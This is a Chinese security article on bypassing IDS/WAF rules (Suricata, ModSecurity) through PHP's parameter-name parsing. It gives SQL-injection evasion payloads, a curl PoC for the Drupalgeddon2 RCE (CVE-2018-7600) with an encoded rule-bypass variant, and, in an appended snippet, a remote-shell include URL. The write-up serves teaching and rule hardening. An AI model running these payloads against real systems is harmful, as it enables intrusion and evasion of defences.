利用PHP的字符串解析特性Bypass

2021-03-02 FreeBuf

我們知道PHP將查詢字符串(在URL或正文中)轉換為內部$GET或的關聯數組$POST。例如:/?foo=bar變成Array([foo] => "bar")。值得注意的是,查詢字符串在解析的過程中會將某些字符刪除或用下劃線代替。例如,/?%20news[id%00=42會轉換為Array([newsid] => 42)。如果一個IDS/IPS或WAF中有一條規則是當newsid參數的值是一個非數字的值則攔截,那麼我們就可以用以下語句繞過:

/news.php?%20news[id%00=42"+AND+1=0--

上述PHP語句的參數%20news[id%00的值將存儲到$GET["newsid"]中。

HP需要將所有參數轉換為有效的變量名,因此在解析查詢字符串時,它會做兩件事:

1.刪除空白符

2.將某些字符轉換為下劃線(包括空格)

例如:

User inputDecoded PHPvariable name%20foo_bar%00foo_barfoo_barfoo%20bar%00foo barfoo_barfoo%5bbarfoo[barfoo_bar

通過以下這個示例,你可以更直觀的看到parser_str函數如何處理字符串:

<?php    foreach(        [            "{chr}foo_bar",            "foo{chr}bar",            "foo_bar{chr}"        ] as $k => $arg) {            for($i=0;$i<=255;$i++) {                echo "\033[999D\033[K\r";                echo "[".$arg."] check ".bin2hex(chr($i))."";                parse_str(str_replace("{chr}",chr($i),$arg)."=bla",$o);                                usleep(5000);                if(isset($o["foo_bar"])) {                    echo "\033[999D\033[K\r";                    echo $arg." -> ".bin2hex(chr($i))." (".chr($i).")\n";                }            }            echo "\033[999D\033[K\r";            echo "\n";    }

parse_str函數通常被自動應用於get、post請求和cookie中。如果你的Web伺服器接受帶有特殊字符的參數名,那麼也會發生類似的情況。如上代碼所示,我進行了多次循環,枚舉了參數名三個位置的0到255之間的所有字符,看看解析函數到底是如何處理這些特殊字符的。結果如下:

1.[1st]foo_bar

2.foo[2nd]bar

3.foo_bar[3rd]

在上述方案中,foo%20bar和foo+bar等效,均解析為foo bar。

Suricata

也許你也聽過這款軟體,Suricata是一個「開源、成熟、快速、強大的網絡威脅檢測引擎」,它的引擎能夠進行實時入侵檢測(IDS)、入侵防禦系統(IPS)、網絡安全監控(NSM)和離線流量包處理。

在Suricata中你可以自定義一個HTTP流量的檢測規則。假設你有這樣一個規則:

alert http any any -> $HOME_NET any (\    msg: "Block SQLi"; flow:established,to_server;\    content: "POST"; http_method;\    pcre: "/news_id=[^0-9]+/Pi";\    sid:1234567;\)

簡單來說,上述規則會檢查news_id的值是否是數字。那麼根據上述知識,我們可以很容易的繞過防禦,如下所示:

/?news[id=1%22+AND+1=1--'/?news%5bid=1%22+AND+1=1--'/?news_id%00=1%22+AND+1=1--'

通過在Google和Github上進行搜索,我發現有很多關於Suricata規則可以通過替換下劃線或插入空字符來繞過。一個真實的例子:https://github.com/OISF/suricata-update/blob/7797d6ab0c00051ce4be5ee7ee4120e81f1138b4/tests/emerging-current_events.rules#L805

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"ET CURRENT_EVENTS Sakura exploit kit exploit download request /view.php"; flow:established,to_server; content:"/view.php?i="; http_uri; fast_pattern:only; pcre:"//view.php?i=\d&key=[0-9a-f]{32}$/U"; classtype:trojan-activity; sid:2015678; rev:2;)

上述規則可以通過以下方式繞過:

/view.php?i%00=1&%20key=d3b07384d113edec49eaa6238ad5ff00

當然,這條規則交換參數位置即可繞過,比如:

/view.php?key=d3b07384d113edec49eaa6238ad5ff00&i=1

WAF(ModSecurity)

此外,PHP查詢字符串的解析特性也可用以繞過WAF。想像一下,它的規則類似於SecRule !ARGS:news_id "@rx ^[0-9]+$" "block",這顯然可以通過相同的手段繞過。幸運的是,在ModSecurity中,可以通過正則表達式指定查詢字符串中的參數。比如:

SecRule !ARGS:/news.id/ "@rx ^[0-9]+$" "block"

以上規則將攔截諸如以下的請求:

⛔️/?news[id=1%22+AND+1=1--'⛔️/?news%5bid=1%22+AND+1=1--'⛔️/?news_id%00=1%22+AND+1=1--'

PoC || GTFO

讓我們用Suricata和Drupal CMS創建一個以利用CVE-2018-7600(Drupalgeddon2遠程執行代碼)的簡單PoC。為了簡單起見,我將在兩個Docker容器上運行Suricata和Drupal,並嘗試繞過Suricata攻擊Drupal。

我將使用兩條Suricata防禦規則:

1.一條自定義規則攔截formid=userregister_form

2.另一條是關於CVE-2018-7600的通用規則

Suricata官方安裝流程點擊[這裡](https://redmine.openinfosecfoundation.org/projects/suricata/wiki/UbuntuInstallation-PersonalPackageArchives(PPA)。對於Drupal,我運行了一個Vulhub容器,你可以在這裡下載:

首先,讓我們嘗試利用CVE-2018-7600。一個利用curl命令的小型bash腳本,比如:

#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"QSTRING="form_id=user_register_form&_drupal_ajax=1&mail[#post_render][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

如你所見,上面的腳本將執行命令id:

現在,讓我們嘗試往Suricata導入以下兩條規則:我編寫了第一個規則,它只是嘗試formid=userregisterform在請求體內進行匹配; Positive Technology /user/register在請求URL和#postrender請求正文中寫了第二個匹配項。我的規則:

alert http any any -> $HOME_NET any (\  msg: "Possible Drupalgeddon2 attack";\  flow: established, to_server;\  content: "/user/register"; http_uri;\  content: "POST"; http_method;\  pcre: "/form_id=user_register_form/Pi";\  sid: 10002807;\  rev: 1;\)

通用規則:

alert http any any -> $HOME_NET any (\  msg: "ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600)"; \  flow: established, to_server; \  content: "/user/register"; http_uri; \  content: "POST"; http_method; \  content: "drupal"; http_client_body; \  pcre: "/(%23|#)(access_callback|pre_render|post_render|lazy_builder)/Pi"; \  reference: cve, 2018-7600; \  reference: url, research.checkpoint.com/uncovering-drupalgeddon-2; \  classtype: attempted-admin; \  reference: url, github.com/ptresearch/AttackDetection; \  metadata: Open Ptsecurity.com ruleset; \  sid: 10002808; \  rev: 2; \)

在重啟Suricata後,我的攻擊被成功報警:

可以看到,我們得到了兩條日誌:

1.ATTACK [PTsecurity] Drupalgeddon2 <8.3.9 <8.4.6 <8.5.1 RCE through registration form (CVE-2018-7600) [Priority: 1] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

2.Possible Drupalgeddon2 attack [Priority: 3] {PROTO:006} 172.17.0.6:51702 -> 172.17.0.1:8080

Bypass!

這兩條規則其實都很容易繞過。首先,對於敏感欄位formid=userregister_form,我們可將其替換為如下內容:

form%5bid=user_register_form

如上圖所見,現在只有通用規則的警報。分析通用規則的正則表達式,我們可以看到它對#和%23敏感,但不涉及下劃線的編碼。因此,我們可以使用post%5frender代替post_render來繞過:

最後得出可繞過兩個規則的PoC:

#!/bin/bashURL="/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax"QSTRING="form%5bid=user_register_form&_drupal_ajax=1&mail[#post%5frender][]=exec&mail[#type]=markup&mail[#markup]="COMMAND="id"curl -v -d "${QSTRING}${COMMAND}" "http://172.17.0.1:8080$URL"

*參考來源:secjuice,FB小編周大濤編譯,轉載請註明來自FreeBuf.COM

相關焦點

  • 如何濫用PHP字符串解析函數繞過IDS、IPS及WAF
    /譯文僅供參考,具體內容表達以及含義原文為準0x00 前言在本文中,我們將與大家分享如何利用PHP字符串解析函數繞過IDS/IPS以及應用防火牆規則。大家都知道,PHP會將(在URL或body中的)查詢字符串轉換成$_GET或者$_POST中的關聯數組。比如:/?foo=bar會被轉換成Array([foo] => 「bar」)。查詢字符串解析過程會刪除或者使用下劃線替換參數名中的某些字符。比如,/?%20news[id%00=42會被轉換成Array([news_id] => 42)。
  • 使用PHP查詢字符串繞過waf
    No.1語法&定義&注釋查詢字符串解析到變量,首先看一下parse_str()函數:語法:parse_str(string,array)定義和用法:parse_str() 函數把查詢字符串解析到變量中。
  • PHP文件包含漏洞利用思路與Bypass總結手冊(完結)
    bypass serialize_handler=php對於上面利用php://filter的base64解碼功能進行解碼包含出現了錯誤,還是不能夠利用成功,回過頭仔細想想會發現,session存儲的一部分信息是用戶名base64編碼後的信息,然而我們對session進行base64解碼的是整個
  • php字符串函數匯總
    php字符串函數有哪些?php字符串函數:addcslashes — 以 C 語言風格使用反斜線轉義字符串中的字符addslashes — 使用反斜線引用字符串bin2hex — 函數把包含數據的二進位字符串轉換為十六進位值chop — rtrim 的別名
  • CTF中常見的PHP漏洞小結
    > 則訪問:index.php?file=phpinfo.txt即可解析文件內容PHP內核是由C語言實現的,在連接字符串時,0位元組(\x00)將作為字符串結束符。param=http://attacker/phpshell.txt?可將遠程的shell解析執行,最後一個問號可以起到截斷的作用。利用技巧利用用戶上傳文件如果有上傳點或者允許用戶上傳文件可以利用,不過比較難找到文件目錄。
  • 從WordPress SQLi談PHP格式化字符串問題
    函數的特性,在刪除圖片時,導致  '  單引號的逃逸。漏洞利用較為困難,但思路非常值得學習。漏洞發生在 wp-admin/upload.php 的157行,進入刪除功能,php的  sprintf  或  vsprintf  函數對格式化的字符類型沒做檢查。如下代碼是可以執行的,顯然php格式化字符串中並不存在  %y  類型,但php不會報錯,也不會輸出  %y  ,而是輸出為空<?php$query = "%y";$args = 'b';echo sprintf( $query, $args ) ;?
  • php字符串常用處理,運算符和幾個常用的字符串函數
    本篇將介紹php字符串常用處理,運算符和幾個常用的字符串函數。有興趣的朋友可以了解一下!php是一門很受歡迎的程式語言之一,由於它的語法簡單易學,迎來了一大批的自學者,小編就是其中一個。php確實相當於其它語言(java、c#等等)比較簡單,但是對一個毫無程式語言基礎的人來說,還是有一定難度的。
  • 如何獲取PHP字符串的最後n個字符
    源 / php中文網      源 / www.php.cn編寫一個PHP程序來獲取給定字符串的最後n個字符。例子:輸入: $str = "HTML!CSS!MySQL!PHP!"方法1:在此方法中,遍歷字符串的最後N個字符並繼續將它們附加到新字符串中。例:<?php    $str = "HTML!CSS!MySQL!PHP!"
  • php常用字符串函數實例總結
    本文實例總結了php常用字符串String函數。
  • php中字符串數據類型有什麼特點?它有哪些定義方法?
    php中字符串數據類型有什麼特點?字符串是php程式語言中八種數據類型一種,也是編程中常用的一種數據類型,首先要明白字符和字節是一樣的,一個字符串可以是一個字符,在實際編程的過程中一個字符串可以變的非常巨大,而這個字符串可以由多個字符組成,php中字符串的長度沒有限定,一篇論文、一首詩、一首歌都可以定義成字符串,那麼在php中用什麼方法定義字符串?
  • 「值得收藏」的PHP常用字符串函數
    1.str_word_count 統計單詞個數2. count_chars 得到字符串裡面字符的有關情況3. str_len 得到字符串長度,就是有多少個字符4. substr_count統計有多少個子字符串, 比如 統計is, this is php裡面,就會出現2個is5. strpos 定義字符串出現的首次位置 (
  • 了解PHP字符串這三點,字符串處理就能做到遊刃有餘!
    信息的解析、儲存和顯示、網絡數據傳輸需要操作字符串來完成,尤其在web開發中這一點更為明顯。程序開發大部分時間都花在操作字符串,有時候對字符串的處理也能檢驗程式設計師的編程能力。字符串處理方式在C中字符串作為字節處理,在Java語言中字符串作為對象處理的,而在PHP中字符串時作為數據類型來處理。
  • php浮點數和字符串
    比如:要求精確到3位小數,就都乘以1000後取整再比較;要求精確到2位小數,就都乘以100後取整再比較;要求精確到4位小數,就都乘以10000後取整再比較;舉例:字符串類型· 單引號字符串:· 雙引號字符串:· 定界符字符串heredoc:還可以使用特定形式的字符串
  • PHP字符串替換函數strtr()的功能實現講解
    我們今天要向大家講的內容是有關PHP字符串替換函數strtr()的相關介紹。對於初學者來說,對於PHP字符串替換函數strtr()的了解還比較淺顯,希望通過本文介紹的內容能夠讓大家深入了解這個函數的具體意義。
  • (實用篇)多個PHP中文字符串截取函數
    以下是文章分享1群,由於群人數已超過300,不能掃碼進群,這個任務呢,就由小篇來拉你們進群了,掃描下面二維碼,加小篇好友~字符串截取是一個非常常見的編程任務,而往往帶中文的字符串截取會經常用到。雖然不難,但是自己寫函數實現又耗費時間,這裡介紹一個比較好用的字符串截取函數,能夠勝任基本的需求了<?
  • PHP文件包含漏洞利用思路與Bypass總結手冊(二)
    利用phpinfo的特性可以很好的幫助我們,因為phpinfo頁面會將當前請求上下文中所有變量都列印出來,所以我們如果向phpinfo頁面發送包含文件區塊的數據包,則即可在返回包裡找到$_FILES變量的內容,拿到臨時文件變量名之後,就可以進行包含執行我們傳入的惡意代碼。
  • 深入解析sprintf格式化字符串漏洞
    <br>"; // ASCII 字符echo sprintf("%%s = %s",$num1)."<br>"; // 字符串echo sprintf("%%x = %x",$num1)."
  • PHP中的字符串、編碼、UTF-8
    」、「字符串轉換」、「PHP字符串的本質」、「多字節字符串」。 字符串的定義和使用  PHP 中能夠通過四種方法設置字符串:  單引號字符串  單引號字符串類似於 Python中的原始字符串,也就是說單引號字符串沒有變量解析功能和特殊字符轉義功能。比如$str='hello\nworld',其中的\n並沒有換行功能。
  • PHP-Session利用總結
    >這時我們的解析採用了另一種引擎:php思考一下這時會發生什麼情況?那串value不符合"正常"的被反序列化的字符串規則。這個也不用擔心,這裡提到一個unserialize的特性,之前也做題也遇到過。在執行unserialize的時候,如果字符串前面滿足了可被反序列化的規則即後續的不規則字符會被忽略。
  • 如何正確實現PHP字符串轉換為數值的需求
    如何正確實現PHP字符串轉換為數值的需求 PHP字符串轉換為數值的方法不是很好掌握,其中的技巧很多。本文就為大家詳細介紹了相關的實現方法,希望對大家有所幫助。